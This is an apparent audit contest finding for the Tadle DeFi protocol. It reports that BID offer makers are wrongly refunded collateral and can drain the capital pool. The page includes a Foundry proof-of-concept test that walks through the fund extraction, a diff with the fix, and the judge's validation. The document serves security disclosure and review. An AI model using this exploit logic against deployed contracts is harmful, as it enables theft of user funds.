Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

BID makers can drain the pool as they are wrongly refunded

dadekuma

Summary

BID makers have a higher balance than before their offer is settled, so they extract free funds from the protocol.

I highly suggest reading my previous issues before this one to have a better grasp of the context, because the logic is completely faulty, and it can be hard to follow.

  • Bid offer points are taken from the maker instead of the taker

  • Bid offer points are never paid by the taker

Please note that all three issues have a separate root cause and fix, every single one must be fixed.

Vulnerability Details

  1. Alice creates a BID offer for 1000 points and 2000 collateral

  2. Bob creates an ASK order to sell 400 points (so Alice should pay 800 collateral)

  3. Charlie creates an ASK order to sell 150 points (so Alice should pay 300 collateral)

  4. Alice settles Bob's and Charlie's orders

  5. Alice should have a credit of 500 points, and 900 collateral left

  6. But in reality, she has a credit of 550 points and 2000 collateral left (900 refunds + 1100 cash)

  7. Alice withdraws and she now has 1550 points and 2000 collateral, but she should have 1550 points and 900 collateral instead

Poc, run forge test --via-ir --match-test test_h9_bid_offer_steals_collateral -vv:

function test_h9_bid_offer_steals_collateral() public {
​
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address charlie = makeAddr("charlie");
​
// give funds to users
uint256 aliceInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, aliceInitialBalance);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
uint256 bobInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), bob, bobInitialBalance);
​
deal(address(mockUSDCToken), address(capitalPool), bobInitialBalance);
​
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
uint256 charlieInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), charlie, charlieInitialBalance);
vm.prank(charlie);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
// alice creates offer
vm.startPrank(alice);
​
uint256 collateralAmount = 2000 * 1e18;
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000, //points
collateralAmount, //amount
10_000, //collateralRate
0, //eachTradeTax
OfferType.Bid,
OfferSettleType.Protected
)
);
​
address offer0Addr = GenerateAddress.generateOfferAddress(0);
​
// bob is taker
vm.startPrank(bob);
uint256 bobPoints = 400;
preMarktes.createTaker(offer0Addr, bobPoints);
// save bob balance after order
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
​
// charlie is taker
vm.startPrank(charlie);
preMarktes.createTaker(offer0Addr, 150);
// save bob balance after order
address stock2Addr = GenerateAddress.generateStockAddress(2);
vm.stopPrank();
​
// move market status
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1e18,
block.timestamp - 1,
3600
);
​
vm.startPrank(alice);
uint256 alicePoints = 10_000 * 1e18;
deal(address(mockPointToken), alice, alicePoints);
mockPointToken.approve(address(tokenManager), type(uint256).max);
​
// alice has to settle with her own points? but she's buying them?
deliveryPlace.settleAskTaker(stock1Addr, 400);
deliveryPlace.settleAskTaker(stock2Addr, 150);
deliveryPlace.closeBidOffer(offer0Addr);
vm.stopPrank();
​
uint256 tokenAmount;
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 900 * 1e18, "refund alice");
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 1100 * 1e18, "cash alice"); // this should be zero
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 550 * 1e18, "token alice");
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 0 * 1e18, "sales alice");
​
// bob
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 0, "refund bob");
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 0, "cash bob");
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 0 * 1e18, "token bob");
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 800 * 1e18, "sales bob");
​
// charlie
tokenAmount = tokenManager.userTokenBalanceMap(charlie, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 0, "refund charlie");
​
tokenAmount = tokenManager.userTokenBalanceMap(charlie, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 0, "cash charlie");
​
tokenAmount = tokenManager.userTokenBalanceMap(charlie, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 0 * 1e18, "token charlie");
​
tokenAmount = tokenManager.userTokenBalanceMap(charlie, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 300 * 1e18, "sales charlie");
} // forge test --via-ir --match-test test_h9_bid_offer_steals_collateral -vv

Impact

Impact: High (Loss of funds, the capital pool can be drained)
Likelihood: High (No preconditions)

Risk: Critical

Tools Used

Manual review

Recommendations

In DeliveryPlace, change settleAskMaker to avoid refunding the bid maker, as they were refunded already:

if (_settledPoints == stockInfo.points) {
- tokenManager.addTokenBalance(
- TokenBalanceType.RemainingCash,
- _msgSender(),
- makerInfo.tokenAddress,
- collateralFee
- );
} else {
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
offerInfo.authority,
makerInfo.tokenAddress,
collateralFee
);
}

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L401-L406

Updates

Lead Judging Commences

0xnevi Lead Judge
about 1 year ago
0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-settleAskTaker-wrong-stock-authority

Valid high severity, when taker offers are created pointing to a `offer`, the relevant `stockInfoMap` offers are created with the owner of the offer aka `authority`, set as the creater of the offer, as seen [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L245). Because of the wrong check within settleAskTaker, it will permanently DoS the final settlement functionality for taker offers for the maker that listed the original offer, essentially bricking the whole functionality of the market i.e. maker will always get refunded the original collateral, and takers will never be able to transact the original points put up by the maker. This occurs regardless of market mode.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.